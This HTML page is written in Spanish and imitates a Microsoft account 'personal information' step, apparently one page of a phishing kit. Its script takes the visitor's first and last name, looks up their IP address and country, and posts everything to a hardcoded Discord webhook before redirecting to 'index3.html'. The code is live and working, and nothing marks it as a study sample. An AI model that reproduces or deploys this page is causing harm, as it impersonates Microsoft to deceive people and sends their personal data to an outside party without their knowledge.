<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Completar información personal</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;font-family:'Segoe UI',Arial,sans-serif}
body{background-color:#fff;color:#000;line-height:1.5;min-height:100vh;display:flex;flex-direction:column;background-image:url('fondo.svg');background-size:cover;background-position:center;background-repeat:no-repeat}
.container{max-width:440px;margin:0 auto;padding:20px;flex:1;display:flex;flex-direction:column;justify-content:center}
.logo{text-align:center;margin-bottom:20px}
.logo img{width:108px;height:50px}
.data-form{background:#fff;border:1px solid #e1e1e1;border-radius:4px;padding:30px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
.data-title{font-size:24px;font-weight:600;margin-bottom:12px;color:#1b1b1b}
.data-subtitle{font-size:14px;color:#1b1b1b;margin-bottom:24px}
.form-group{margin-bottom:16px}
.form-input{width:100%;padding:12px;border:1px solid #ccc;border-radius:4px;font-size:15px;transition:border-color 0.3s}
.form-input:focus{outline:none;border-color:#0078d4;box-shadow:0 0 0 2px rgba(0,120,212,0.2)}
.form-input.error{border-color:#d13438}
.name-container{display:flex;gap:10px}
.name-container .form-group{flex:1}
.forgot-password{display:block;color:#0078d4;text-decoration:none;font-size:13px;margin-bottom:20px}
.forgot-password:hover{text-decoration:underline}
.submit-button{width:100%;background:#0078d4;color:white;border:none;padding:12px;border-radius:4px;font-size:15px;font-weight:600;cursor:pointer;transition:background-color 0.3s;margin-top:10px}
.submit-button:hover{background:#0066b4}
.submit-button:disabled{background:#a0a0a0;cursor:not-allowed}
.data-recommendation{font-size:13px;color:#616161;margin:15px 0;padding:10px;background-color:#f8f8f8;border-radius:4px;border-left:3px solid #0078d4}
.error-message{font-size:12px;color:#d13438;margin-top:5px;display:none}
.divider{text-align:center;margin:24px 0;position:relative}
.divider::before{content:"";position:absolute;top:50%;left:0;right:0;height:1px;background:#e1e1e1}
.divider span{background:white;padding:0 16px;color:#616161;font-size:13px}
.back-button{width:100%;background:transparent;color:#0078d4;border:1px solid #8a8886;padding:12px;border-radius:4px;font-size:15px;font-weight:600;cursor:pointer;transition:background-color 0.3s}
.back-button:hover{background:#f8f8f8}
.footer{margin-top:40px;text-align:center;font-size:12px;color:#616161;padding:20px 0}
.footer-links{margin-bottom:16px}
.footer-links a{color:#0078d4;text-decoration:none;margin:0 8px}
.footer-links a:hover{text-decoration:underline}
.language-selector{margin-top:16px}
.language-selector select{padding:6px 12px;border:1px solid #ccc;border-radius:4px;font-size:12px}
@media (max-width:480px){.container{padding:10px}.data-form{padding:20px;border:none}.name-container{flex-direction:column;gap:0}}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="logo.png" alt="Microsoft" onerror="this.style.display='none'">
</div>
<div class="data-form">
<h1 class="data-title">Información personal</h1>
<p class="data-subtitle">Completa tus datos para continuar</p>
<form id="dataForm">
<div class="name-container">
<div class="form-group">
<input type="text" class="form-input" id="firstName" placeholder="Nombre Completo" required>
<div class="error-message" id="firstNameError">Por favor, introduce tu nombre</div>
</div>
<div class="form-group">
<input type="text" class="form-input" id="lastName" placeholder="Apellido Completo" required>
<div class="error-message" id="lastNameError">Por favor, introduce tu apellido</div>
</div>
</div>
<div class="data-recommendation">
Esta información nos ayudará a personalizar tu experiencia y ofrecerte un mejor servicio.
</div>
<button type="submit" class="submit-button" id="submitButton">Continuar</button>
</form>
<div class="divider">
<span>o</span>
</div>
<button class="back-button" onclick="goBack()">Volver atrás</button>
<div class="footer">
<div class="footer-links">
<a href="#">Términos de uso</a>
<a href="#">Privacidad y cookies</a>
<a href="#">…</a>
</div>
<div class="language-selector">
<select id="language">
<option value="es-es">Español (España)</option>
<option value="en-us">English (United States)</option>
<option value="fr-fr">Français (France)</option>
<option value="de-de">Deutsch (Deutschland)</option>
</select>
</div>
</div>
</div>
</div>
<script>
// Función para obtener la IP y país del usuario
async function getUserLocation() {
try {
const ipResponse = await fetch('https://api.ipify.org?format=json');
const ipData = await ipResponse.json();
const ip = ipData.ip;
const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
const locationData = await locationResponse.json();
return {
ip: ip,
country: locationData.country_name || 'Desconocido'
};
} catch (error) {
console.error('Error al obtener la ubicación:', error);
return {
ip: 'Desconocido',
country: 'Desconocido'
};
}
}
document.getElementById('dataForm').addEventListener('submit', async function(e) {
e.preventDefault();
let isValid = true;
// Validar nombre
const firstName = document.getElementById('firstName');
const firstNameError = document.getElementById('firstNameError');
if (!firstName.value.trim()) {
firstName.classList.add('error');
firstNameError.style.display = 'block';
isValid = false;
} else {
firstName.classList.remove('error');
firstNameError.style.display = 'none';
}
// Validar apellido
const lastName = document.getElementById('lastName');
const lastNameError = document.getElementById('lastNameError');
if (!lastName.value.trim()) {
lastName.classList.add('error');
lastNameError.style.display = 'block';
isValid = false;
} else {
lastName.classList.remove('error');
lastNameError.style.display = 'none';
}
if (isValid) {
// Obtener la IP y país del usuario
const location = await getUserLocation();
// URL del webhook de Discord (reemplaza con tu URL)
const webhookUrl = 'https://discord.com/api/webhooks/1500492626128928814/sCH93mnfxssY7PhErvQfY3M2QzEd26tMlAOE7-q7F_nkPc9Ra1OJ9KNtdbsYN5uEUvdJ';
// Crear el mensaje para Discord
const message = {
content: "Información personal recibida:",
embeds: [{
title: "Datos del usuario",
color: 0x3498db,
fields: [
{ name: "Nombre", value: firstName.value, inline: true },
{ name: "Apellido", value: lastName.value, inline: true },
{ name: "IP", value: location.ip, inline: true },
{ name: "País", value: location.country, inline: true }
],
thumbnail: {
url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
},
timestamp: new Date()
}]
};
// Enviar los datos al webhook
try {
const response = await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(message)
});
if (response.ok) {
// Redirige a index3.html
window.location.href = 'index3.html';
} else {
alert('Error al enviar los datos a Discord.');
}
} catch (error) {
console.error('Error:', error);
alert('Error al enviar los datos a Discord.');
}
}
});
// Función para volver atrás
function goBack() {
window.history.back();
}
</script>
</body>
</html>